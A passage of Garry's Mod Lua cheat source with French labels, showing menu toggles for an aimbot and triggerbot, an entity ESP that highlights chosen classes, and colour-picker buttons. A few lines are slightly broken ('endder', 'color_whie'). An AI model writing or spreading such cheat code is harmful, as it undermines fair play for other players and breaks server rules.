4002function btnaimbotact:Think() if fiji_aimbot_relock:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4003
4004local btnaimbotact = BD:CreateBtn( "Amis", 235, 95, 65, 25, pContent )
4005function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_friends:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_friends", 0 ) else RunConsoleCommand( "fiji_aimbot_friends", 1 ) end end
4006function btnaimbotact:Think() if fiji_aimbot_friends:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4007
4008local btnaimbotact = BD:CreateBtn( "Admin", 165, 95, 65, 25, pContent )
4009function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_admin:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_admin", 0 ) else RunConsoleCommand( "fiji_aimbot_admin", 1 ) end end
4010function btnaimbotact:Think() if fiji_aimbot_admin:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4011
4012local btnaimbotact = BD:CreateBtn( "Team", 305, 95, 65, 25, pContent )
4013function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_aimbot_team:GetInt() == 1 then RunConsoleCommand( "fiji_aimbot_team", 0 ) else RunConsoleCommand( "fiji_aimbot_team", 1 ) end end
4014function btnaimbotact:Think() if fiji_aimbot_team:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4015
4016
4017
4018local btnaimbotact = BD:CreateBtn( "Activé", 165, 230, 65, 25, pContent )
4019function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_active:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_active", 0 ) else RunConsoleCommand( "fiji_triggerbot_active", 1 ) end end
4020function btnaimbotact:Think() if fiji_triggerbot_active:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4021
4022local btnaimbotact = BD:CreateBtn( "Debug", 235, 230, 65, 25, pContent )
4023function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_opti:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_opti", 0 ) else RunConsoleCommand( "fiji_triggerbot_opti", 1 ) end end
4024function btnaimbotact:Think() if fiji_triggerbot_opti:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4025
4026local btnaimbotact = BD:CreateBtn( "Réaliste", 305, 230, 65, 25, pContent )
4027function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_real:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_real", 0 ) else RunConsoleCommand( "fiji_triggerbot_real", 1 ) end end
4028function btnaimbotact:Think() if fiji_triggerbot_real:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4029
4030local btnaimbotact = BD:CreateBtn( "Amis", 235, 300, 65, 25, pContent )
4031function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_friends:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_friends", 0 ) else RunConsoleCommand( "fiji_triggerbot_friends", 1 ) end end
4032function btnaimbotact:Think() if fiji_triggerbot_friends:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4033
4034local btnaimbotact = BD:CreateBtn( "Admin", 165, 300, 65, 25, pContent )
4035function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_wall:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_wall", 0 ) else RunConsoleCommand( "fiji_triggerbot_wall", 1 ) end end
4036function btnaimbotact:Think() if fiji_triggerbot_wall:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4037
4038local btnaimbotact = BD:CreateBtn( "Team", 305, 300, 65, 25, pContent )
4039function btnaimbotact:DoClick() surface.PlaySound( fiji_pityclick ) if fiji_triggerbot_team:GetInt() == 1 then RunConsoleCommand( "fiji_triggerbot_team", 0 ) else RunConsoleCommand( "fiji_triggerbot_team", 1 ) end end
4040function btnaimbotact:Think() if fiji_triggerbot_team:GetInt() == 1 then self.activebtn = true else self.activebtn = false end end
4041
4042
4043end -- end aim
4044
4045
4046local save_dir = "vcmod/enthudset.txt"
4047
4048if not file.IsDir( "vcmod" , "DATA" ) then
4049 file.CreateDir( "vcmod", "[]" )
4050end
4051if not file.Exists( save_dir , "DATA" ) then
4052 file.Write( save_dir, "[]" )
4053end
4054
4055local function AddToESP( class, color )
4056 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4057 actual[class] = color
4058 file.Write( save_dir, util.TableToJSON( actual ) )
4059end
4060
4061local function RemoveFromESP( class )
4062 local actual = util.JSONToTable( file.Read( save_dir, "DATA" ) )
4063 actual[class] = nil
4064 file.Write( save_dir, util.TableToJSON( actual ) )
4065end
4066
4067local function GetESP()
4068 return util.JSONToTable( file.Read( save_dir, "DATA" ) )
4069end
4070
4071local tblColors = {
4072 {
4073 color = Color( 255, 0, 0 )
4074 },
4075 {
4076 color = Color( 255, 102, 0 )
4077 },
4078 {
4079 color = Color( 196, 192, 0 )
4080 },
4081 {
4082 color = Color( 0, 255, 0 )
4083 },
4084 {
4085 color = Color( 0, 0, 255 )
4086 },
4087 {
4088 color = Color( 0, 229, 255 )
4089 },
4090 {
4091 color = Color( 89, 0, 255 )
4092 },
4093 {
4094 color = Color( 255, 0, 250 )
4095 },
4096 {
4097 color = Color( 255, 255, 255 )
4098 },
4099 {
4100 color = Color( 0, 0, 0 )
4101 },
4102}
4103
4104local function reOpenMenu( pnl )
4105 pnl:Remove()
4106 LocalPlayer():ConCommand( "fiji_espent" )
4107end
4108
4109hook.Add( "HUDPaint", "ESPAdvanced:espenttext", function()
4110if fiji_vision_enable_ent:GetInt() == 1 then
4111 if fiji_vision_enable_enttext:GetInt() == 1 then
4112 for Ik, Iv in pairs( GetESP() ) do
4113 for k, v in pairs( ents.FindByClass( Ik ) ) do
4114if v:GetPos():Distance( LocalPlayer():GetPos() ) > fiji_vision_distance_ent:GetInt() then continue end
4115 local Pos = ( v:GetPos() ):ToScreen()
4116 draw.SimpleText( Ik, "Trebuchet18", Pos.x, Pos.y, Iv.color, 1, 1 )
4117 end
4118 end
4119 else end
4120 else end
4121end)
4122
4123
4124hook.Add( "PreDrawHalos", "ESPAdvanced:espenthalo", function()
4125 if fiji_vision_enable_ent:GetInt() == 1 then
4126 if fiji_vision_enable_enthalo:GetInt() == 1 then
4127 for k, v in pairs( GetESP() ) do
4128 halo.Add( ents.FindByClass( k ), v.color, 5, 5, 2, true, true )
4129 end
4130 else end
4131 else end
4132end )
4133
4134local blackListESP = {
4135 ["func_brush"] = true,
4136 ["worldspawn"] = true,
4137 ["viewmodel"] = true,
4138 ["widget_base"] = true,
4139 ["widget_bone"] = true,
4140 ["widget_bones"] = true,
4141 ["widget_disc"] = true,
4142 ["edit_sky"] = true,
4143 ["edit_fog"] = true,
4144 ["edit_sun"] = true,
4145 ["gmod_balloon"] = true,
4146 ["gmod_ghost"] = true,
4147 ["widget_axis_arrow"] = true,
4148 ["gmod_light"] = true,
4149 ["gmod_thruster"] = true,
4150 ["base_ai"] = true,
4151 ["base_nextbot"] = true,
4152 ["base_anim"] = true,
4153 ["gmod_dynamite"] = true,
4154 ["prop_effect"] = true,
4155 ["gmod_emitter"] = true,
4156 ["lab_base"] = true,
4157 ["gmod_hands"] = true,
4158 ["ragdoll_motion"] = true,
4159 ["widget_bonemanip_move"] = true,
4160 ["gmod_button"] = true,
4161 ["gmod_cameraprop"] = true,
4162 ["gmod_hoverball"] = true,
4163 ["fadmin_jail"] = true,
4164 ["widget_arrow"] = true,
4165 ["base_point"] = true,
4166 ["widget_axis_disc"] = true,
4167 ["widget_bonemanip_rotate"] = true,
4168 ["widget_bonemanip_scale"] = true,
4169 ["fadmin_motd"] = true,
4170 ["env_skypaint"] = true,
4171 ["base_edit"] = true,
4172 ["base_entity"] = true,
4173 ["gmod_anchor"] = true,
4174 ["gmod_wheel"] = true,
4175 ["gmod_lamp"] = true,
4176 ["sent_ball"] = true,
4177 ["base_gmodentity"] = true,
4178 ["npc_tf2_ghost"] = true,
4179 ["class C_PlayerResource"] = true,
4180 ["class C_GMODGameRulesPro"] = true,
4181}
4182
4183concommand.Add( "fiji_espent", function()
4184 local Base = vgui.Create( "DFrame" )
4185 Base:SetSize( 700, 245 )
4186 Base:SetTitle( "" )
4187 Base:Center()
4188 Base:MakePopup()
4189 Base:ShowCloseButton(false)
4190function Base:Paint( w, h )
4191DrawBlur(self, 25)
4192draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,240 ) )
4193
4194if fiji_style_menu:GetInt() == 2 then
4195draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
4196draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4197draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4198draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4199elseif fiji_style_menu:GetInt() == 1 then
4200draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4201draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4202draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4203draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4204else
4205draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4206draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4207draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4208draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4209end
4210end
4211
4212local CloseMain = vgui.Create( "DButton", Base)
4213CloseMain:SetPos( 673, 7)
4214CloseMain:SetSize( 20, 20 )
4215CloseMain:SetTextColor( Color( 255, 255, 255, 255 ) )
4216CloseMain:SetText( "X" )
4217CloseMain.Paint = function( self, w, h )
4218draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4219if self:IsHovered() then
4220draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
4221else
4222draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
4223end
4224CloseMain.DoClick = function()
4225Base:Remove()
4226end
4227end
4228
4229concommand.Add( "fiji_clearespent", function() -- fiji_sv_existmen
4230Base:Remove()
4231
4232end)
4233
4234
4235local CopiediscordHome = vgui.Create( "DButton", Base)
4236CopiediscordHome:SetPos( 10, 200)
4237CopiediscordHome:SetSize( 80, 35 )
4238CopiediscordHome:SetTextColor( Color( 255, 255, 255, 255 ) )
4239CopiediscordHome:SetText( "Sauvegarder" )
4240CopiediscordHome.Paint = function( self, w, h )
4241draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
4242if self:IsHovered() then
4243draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
4244aBorder = Color( 110,110,110, 80 )
4245else
4246draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4247aBorder = Color( 110,110,110, 0 )
4248endder = Color( 110,110,110, 0 )
4249end
4250CopiediscordHome.OnCursorEntered = function(self)
4251surface.PlaySound( fiji_pityhover )
4252end
4253surface.SetDrawColor( aBorder )
4254surface.DrawOutlinedRect( 0, 0, w, h )
4255CopiediscordHome.DoClick = function()
4256LocalPlayer():ConCommand("fiji_clearespent")
4257surface.PlaySound( fiji_pityclick )
4258chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 89, 255, 105 ), "Entitées sauvegarder" )
4259end
4260end
4261
4262 --[[-------------------------------------------------------------------------
4263 Added
4264 ---------------------------------------------------------------------------]]
4265
4266 local added = vgui.Create( "DPanel", Base )
4267 added:SetSize( 200, 200 )
4268 added:SetPos( 255, 35 )
4269 function added:Paint( intW, intH )
4270 surface.SetDrawColor(75, 75, 75, 50 )
4271 surface.DrawRect( 0, 0, intW, 25 )
4272
4273 draw.SimpleText( "Entités ajoutées", "Trebuchet18", intW / 2, 25 / 2, color_white, 1, 1 )
4274 end
4275
4276 local aScroll = vgui.Create( "DScrollPanel", added )
4277 aScroll:SetSize( added:GetWide(), added:GetTall() - 25 )
4278 aScroll:SetPos( 0, 25 )
4279 aScroll.VBar:SetHideButtons( true )
4280 local scroll = aScroll.VBar
4281 function scroll:Paint( intW, intH )
4282 surface.SetDrawColor( 75, 75, 75, 80)
4283 surface.DrawRect( 0, 0, intW, intH )
4284 end
4285 function scroll.btnGrip:Paint( intW, intH )
4286 surface.SetDrawColor( 255, 255, 255, 10 )
4287 surface.DrawRect( 0, 0, intW, intH )
4288 end
4289
4290 local function makeList()
4291 aScroll:Clear()
4292
4293 local esp = GetESP()
4294
4295 local intItem = 0
4296
4297 for k, v in pairs( esp ) do
4298 local item = vgui.Create( "DPanel", aScroll )
4299 item:SetSize( aScroll:GetWide(), 25 )
4300 item:SetPos( 0, intItem * 25 )
4301 function item:Paint( intW, intH )
4302 surface.SetDrawColor( 75, 75, 75, 50 )
4303 surface.DrawRect( 0, 0, intW, intH )
4304
4305 draw.SimpleText( k, "Trebuchet18", 30, intH / 2, v.color, 0, 1 )
4306 end
4307
4308 local remove = vgui.Create( "DImageButton", item )
4309 remove:SetSize( 10, 10 )
4310 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() / 2+3 )
4311 remove:SetImage( "icon16/cross.png" )
4312 remove:SetTooltip( "Supprimer" )
4313 function remove:DoClick()
4314 RemoveFromESP( k )
4315 makeList()
4316 end
4317
4318 intItem = intItem + 1
4319 end
4320 end
4321 makeList()
4322
4323
4324 --[[-------------------------------------------------------------------------
4325 Add
4326 ---------------------------------------------------------------------------]]
4327
4328 local addPanel = vgui.Create( "DPanel", Base )
4329 addPanel:SetSize( 215, 55 )
4330 addPanel:SetPos( 10, 35 )
4331 addPanel:SetBackgroundColor( Color( 50, 50, 50 ) )
4332
4333 local class = vgui.Create( "DTextEntry", addPanel )
4334 class:SetSize( addPanel:GetWide() - 75, 30 )
4335 class:SetPlaceholderText( "Classe" )
4336
4337 local colors = vgui.Create( "DPanel", addPanel )
4338 colors:SetSize( addPanel:GetWide(), 25 )
4339 colors:SetPos( 0, 30 )
4340 function colors:Paint() end
4341
4342 local activeColor = 1
4343
4344 for i = 1, #tblColors do
4345 local color = vgui.Create( "DButton", colors )
4346 color:SetSize( 16, 16 )
4347 color:SetPos( 5 + ( ( i - 1 ) * 21 ), 5 )
4348 color:SetText("")
4349 function color:Paint( intW, intH )
4350 surface.SetDrawColor( tblColors[i].color )
4351 surface.DrawRect( 0, 0, intW, intH )
4352
4353 if activeColor == i then
4354 surface.SetDrawColor( color_white )
4355 surface.DrawOutlinedRect( 0, 0, intW, intH )
4356 surface.SetDrawColor( color_black )
4357 surface.DrawOutlinedRect( 1, 1, intW - 2, intH - 2 )
4358 end
4359 end
4360 function color:DoClick()
4361 activeColor = i
4362 end
4363 end
4364
4365 local add = vgui.Create( "DButton", addPanel )
4366 add:SetSize( addPanel:GetWide() - class:GetWide(), 30 )
4367 add:SetPos( class:GetWide(), 0 )
4368 add:SetText( "Ajouter" )
4369 function add:OnCursorEntered() self.IsHovered = true end
4370function add:OnCursorExited() self.IsHovered = false end
4371function add:Paint( w, h )
4372
4373if self.IsHovered then
4374draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 100 ) )
4375cBorder = Color( 110,110,110, 30 )
4376add:SetTextColor( Color( 255, 255, 255, 255 ) )
4377else
4378draw.RoundedBox( 0, 0, 0, w, h, Color( 75, 75, 75, 50 ) )
4379cBorder = Color( 110,110,110, 0 )
4380add:SetTextColor( Color( 255, 255, 255, 150 ) )
4381end
4382
4383
4384surface.SetDrawColor( cBorder )
4385surface.DrawOutlinedRect( 0, 0, w, h )
4386end
4387 function add:DoClick()
4388 AddToESP( class:GetText() or "null", tblColors[activeColor] or color_whie )
4389 makeList()
4390 end
4391
4392 --[[-------------------------------------------------------------------------
4393 List srv
4394 ---------------------------------------------------------------------------]]
4395
4396 local srvPanelList = vgui.Create( "DPanel", Base )
4397 srvPanelList:SetSize( 200, 200 )
4398 srvPanelList:SetPos( Base:GetWide() - srvPanelList:GetWide() - 10, 35 )
4399 function srvPanelList:Paint( intW, intH )
4400 surface.SetDrawColor( 75, 75, 75, 50 )
4401 surface.DrawRect( 0, 0, intW, 25 )
4402
4403 draw.SimpleText( "Entités du serveur", "Trebuchet18", intW / 2, 25 / 2, color_white, 1, 1 )
4404 end
4405
4406 local srvScroll = vgui.Create( "DScrollPanel", srvPanelList )
4407 srvScroll:SetSize( srvPanelList:GetWide(), srvPanelList:GetTall() - 50 )
4408 srvScroll:SetPos( 0, 50 )
4409 srvScroll.VBar:SetHideButtons( true )
4410 local scroll = srvScroll.VBar
4411 function scroll:Paint( intW, intH )
4412 surface.SetDrawColor( 75, 75, 75, 80)
4413
4414 surface.DrawRect( 0, 0, intW, intH )
4415 end
4416 function scroll.btnGrip:Paint( intW, intH )
4417
4418 surface.SetDrawColor( 255, 255, 255, 10 )
4419 surface.DrawRect( 0, 0, intW, intH )
4420 end
4421
4422 local srvList = vgui.Create( "DIconLayout", srvScroll )
4423 srvList:SetSize( srvScroll:GetWide(), srvScroll:GetTall() )
4424
4425 local srv = scripted_ents.GetList()
4426 table.sort( srv, function( a, b ) return a.t.ClassName > b.t.ClassName end )
4427 local getEsp = GetESP()
4428
4429 local intItem = 0
4430
4431 local tblUsed = {}
4432 local tblESp = GetESP()
4433
4434 for k, v in pairs( srv ) do
4435 if tblESp[ v.t.ClassName ] != nil then continue end
4436 if blackListESP[v.t.ClassName] then continue end
4437
4438 if tblUsed[v.t.ClassName] then continue end
4439 tblUsed[v.t.ClassName] = true
4440
4441 local item = srvList:Add( "DPanel" )
4442 item:SetSize( srvScroll:GetWide(), 25 )
4443 item:SetPos( 0, intItem * 25 )
4444 item.class = v.t.ClassName
4445 function item:Paint( intW, intH )
4446 surface.SetDrawColor( 75, 75, 75, 50 )
4447 surface.DrawRect( 0, 0, intW, intH )
4448
4449 draw.SimpleText( v.t.ClassName, "Trebuchet18", 30, intH / 2, color_white, 0, 1 )
4450 end
4451
4452 local remove = vgui.Create( "DImageButton", item )
4453 remove:SetSize( 13, 13 )
4454 remove:SetPos( 5, item:GetTall() / 2 - remove:GetTall() / 2 +2)
4455 remove:SetImage( "icon16/add.png" )
4456 remove:SetTooltip( "Ajouter" )
4457 function remove:DoClick()
4458 class:SetText( v.t.ClassName )
4459 makeList()
4460 end
4461
4462 intItem = intItem + 1
4463 end
4464
4465 local search = vgui.Create( "DTextEntry", srvPanelList )
4466 search:SetSize( srvPanelList:GetWide(), 25 )
4467 search:SetPos( 0, 25 )
4468 function search:OnChange()
4469 for k, v in pairs( srvList:GetChildren() ) do
4470 print( v.class )
4471 if string.find( v.class, self:GetText() ) then
4472 v:SetVisible( true )
4473 else
4474 v:SetVisible( false )
4475 end
4476 srvList:Layout()
4477 end
4478 end
4479
4480end)
4481
4482function BD:Esp( pContent )
4483
4484local BDMenuEsp = vgui.Create("DPanel", pContent)
4485BDMenuEsp:SetSize( 539, 388 )
4486BDMenuEsp:SetPos( 0, 0 )
4487BDMenuEsp.Paint = function( self, w, h)
4488draw.RoundedBox( 0, 0, 0, w, h, Color(255,35,35,0 ) )
4489
4490if fiji_style_menu:GetInt() == 2 then
4491draw.RoundedBox( 0, 0, 146, 2, h - 120, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4492draw.RoundedBox( 0, 0, 0, 2, h - 286, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
4493
4494elseif fiji_style_menu:GetInt() == 1 then
4495draw.RoundedBox( 0, 0, 146, 2, h - 120, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4496draw.RoundedBox( 0, 0, 0, 2, h - 286, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
4497
4498else
4499draw.RoundedBox( 0, 0, 146, 2, h - 120, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4500draw.RoundedBox( 0, 0, 0, 2, h - 286, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
4501end
4502
4503
4504draw.RoundedBox( 200, 20, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4505draw.RoundedBox( 200, 250, 10, 2, h - 20, Color( 50,50,50, 255 ) )
4506draw.RoundedBox( 0, 20, 378, w - 307, 2, Color( 50,50,50, 255 ) )
4507draw.RoundedBox( 0, 20, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4508draw.RoundedBox( 0, 175, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4509draw.SimpleText("Esp Joueurs", "pity_home3", 100, 10, Color(100, 100, 100,255), 0, 1)
4510
4511draw.RoundedBox( 200, 515, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4512draw.RoundedBox( 200, 282, 10, 2, h - 216, Color( 50,50,50, 255 ) )
4513draw.RoundedBox( 0, 284, 180, w - 307, 2, Color( 50,50,50, 255 ) )
4514draw.RoundedBox( 0, 284, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4515draw.RoundedBox( 0, 440, 10, w - 463, 2, Color( 50,50,50, 255 ) )
4516draw.SimpleText("Esp Entitées", "pity_home3", 365, 10, Color(100, 100, 100,255), 0, 1)
4517
4518draw.RoundedBox( 200, 515, 205, 2, h - 213, Color( 50,50,50, 255 ) )
4519draw.RoundedBox( 200, 282, 205, 2, h - 213, Color( 50,50,50, 255 ) )
4520draw.RoundedBox( 0, 284, 378, w - 307, 2, Color( 50,50,50, 255 ) )
4521draw.RoundedBox( 0, 284, 205, w - 455, 2, Color( 50,50,50, 255 ) )
4522draw.RoundedBox( 0, 433, 205, w - 455, 2, Color( 50,50,50, 255 ) )
4523draw.SimpleText("Esp Props", "pity_home3", 372.5, 205, Color(100, 100, 100,255), 0, 1)
4524end
4525local intW = 125
4526local intY = pContent:GetTall() / 2 - intW / 2
4527
4528
4529local pPcolor = vgui.Create( "DPanel", pContent )
4530pPcolor:SetSize( 205, 50 )
4531pPcolor:SetPos( 33, 243 )
4532function pPcolor:Paint( w, h )
4533draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
4534draw.SimpleText( "Couleur ESP", "pity_home5", 72, 8, color_white, 0, 1 )
4535end
4536local OptionsColorRed = vgui.Create( "DButton", pPcolor )
4537OptionsColorRed:SetPos( 4,20 )
4538OptionsColorRed:SetSize( 20, 20 )
4539OptionsColorRed:SetText( " " )
4540OptionsColorRed.Paint = function( self, w, h )
4541if self:IsHovered() then
4542draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
4543surface.SetDrawColor(255, 255, 255 ,100)
4544surface.DrawOutlinedRect(0, 0, w, h)
4545else
4546draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
4547surface.SetDrawColor(255, 255, 255 ,100)
4548surface.DrawOutlinedRect(0, 0, w, h)
4549end
4550OptionsColorRed.DoClick = function()
4551LocalPlayer():ConCommand("fiji_principal_color 255")
4552LocalPlayer():ConCommand("fiji_secondary_color 0")
4553LocalPlayer():ConCommand("fiji_third_color 0")
4554surface.PlaySound( fiji_pityhover )
4555
4556end
4557end
4558local OptionsColorOrange = vgui.Create( "DButton", pPcolor )
4559OptionsColorOrange:SetPos( 26,20 )
4560OptionsColorOrange:SetSize( 20, 20 )
4561OptionsColorOrange:SetText( " " )
4562OptionsColorOrange.Paint = function( self, w, h )
4563if self:IsHovered() then
4564draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
4565surface.SetDrawColor(255, 255, 255 ,100)
4566surface.DrawOutlinedRect(0, 0, w, h)
4567else
4568draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
4569surface.SetDrawColor(255, 255, 255 ,100)
4570surface.DrawOutlinedRect(0, 0, w, h)
4571end
4572OptionsColorOrange.DoClick = function()
4573LocalPlayer():ConCommand("fiji_principal_color 255")
4574LocalPlayer():ConCommand("fiji_secondary_color 102")
4575LocalPlayer():ConCommand("fiji_third_color 0")
4576surface.PlaySound( fiji_pityhover )
4577
4578end
4579end
4580local OptionsColorYellow = vgui.Create( "DButton", pPcolor )
4581OptionsColorYellow:SetPos( 48,20 )
4582OptionsColorYellow:SetSize( 20, 20 )
4583OptionsColorYellow:SetText( " " )
4584OptionsColorYellow.Paint = function( self, w, h )
4585if self:IsHovered() then
4586draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
4587surface.SetDrawColor(255, 255, 255 ,100)
4588surface.DrawOutlinedRect(0, 0, w, h)
4589else
4590draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
4591surface.SetDrawColor(255, 255, 255 ,100)
4592surface.DrawOutlinedRect(0, 0, w, h)
4593end
4594OptionsColorYellow.DoClick = function()
4595LocalPlayer():ConCommand("fiji_principal_color 196")
4596LocalPlayer():ConCommand("fiji_secondary_color 192")
4597LocalPlayer():ConCommand("fiji_third_color 0")
4598surface.PlaySound( fiji_pityhover )
4599
4600end
4601end
4602local OptionsColorGreen = vgui.Create( "DButton", pPcolor )
4603OptionsColorGreen:SetPos( 70,20 )
4604OptionsColorGreen:SetSize( 20, 20 )
4605OptionsColorGreen:SetText( " " )
4606OptionsColorGreen.Paint = function( self, w, h )
4607if self:IsHovered() then
4608draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
4609surface.SetDrawColor(255, 255, 255 ,100)
4610surface.DrawOutlinedRect(0, 0, w, h)
4611else
4612draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
4613surface.SetDrawColor(255, 255, 255 ,100)
4614surface.DrawOutlinedRect(0, 0, w, h)
4615end
4616OptionsColorGreen.DoClick = function()
4617LocalPlayer():ConCommand("fiji_principal_color 0")
4618LocalPlayer():ConCommand("fiji_secondary_color 255")
4619LocalPlayer():ConCommand("fiji_third_color 0")
4620surface.PlaySound( fiji_pityhover )
4621
4622end
4623end
4624local OptionsColorBlue = vgui.Create( "DButton", pPcolor )
4625OptionsColorBlue:SetPos( 92,20 )
4626OptionsColorBlue:SetSize( 20, 20 )
4627OptionsColorBlue:SetText( " " )
4628OptionsColorBlue.Paint = function( self, w, h )
4629if self:IsHovered() then
4630draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
4631surface.SetDrawColor(255, 255, 255 ,100)
4632surface.DrawOutlinedRect(0, 0, w, h)
4633else
4634draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
4635surface.SetDrawColor(255, 255, 255 ,100)
4636surface.DrawOutlinedRect(0, 0, w, h)
4637end
4638OptionsColorBlue.DoClick = function()
4639LocalPlayer():ConCommand("fiji_principal_color 0")
4640LocalPlayer():ConCommand("fiji_secondary_color 0")
4641LocalPlayer():ConCommand("fiji_third_color 255")
4642surface.PlaySound( fiji_pityhover )
4643
4644end
4645end
4646local OptionsColorSeaBlue = vgui.Create( "DButton", pPcolor )
4647OptionsColorSeaBlue:SetPos( 114,20 )
4648OptionsColorSeaBlue:SetSize( 20, 20 )
4649OptionsColorSeaBlue:SetText( " " )
4650OptionsColorSeaBlue.Paint = function( self, w, h )
4651if self:IsHovered() then
4652draw.RoundedBox(0,0,0,w,h,Color(0, 221, 210))
4653surface.SetDrawColor(255, 255, 255 ,100)
4654surface.DrawOutlinedRect(0, 0, w, h)
4655else
4656draw.RoundedBox( 0, 0, 0, w, h, Color(81, 255, 246))
4657surface.SetDrawColor(255, 255, 255 ,100)
4658surface.DrawOutlinedRect(0, 0, w, h)
4659end
4660OptionsColorSeaBlue.DoClick = function()
4661LocalPlayer():ConCommand("fiji_principal_color 0")
4662LocalPlayer():ConCommand("fiji_secondary_color 229")
4663LocalPlayer():ConCommand("fiji_third_color 255")
4664surface.PlaySound( fiji_pityhover )
4665
4666end
4667end
4668local OptionsColorPurple = vgui.Create( "DButton", pPcolor )
4669OptionsColorPurple:SetPos( 136,20 )
4670OptionsColorPurple:SetSize( 20, 20 )
4671OptionsColorPurple:SetText( " " )
4672OptionsColorPurple.Paint = function( self, w, h )
4673if self:IsHovered() then
4674draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
4675surface.SetDrawColor(255, 255, 255 ,100)
4676surface.DrawOutlinedRect(0, 0, w, h)
4677else
4678draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
4679surface.SetDrawColor(255, 255, 255 ,100)
4680surface.DrawOutlinedRect(0, 0, w, h)
4681end
4682OptionsColorPurple.DoClick = function()
4683LocalPlayer():ConCommand("fiji_principal_color 89")
4684LocalPlayer():ConCommand("fiji_secondary_color 0")
4685LocalPlayer():ConCommand("fiji_third_color 255")
4686surface.PlaySound( fiji_pityhover )
4687
4688end
4689end
4690local OptionsColorPink = vgui.Create( "DButton", pPcolor )
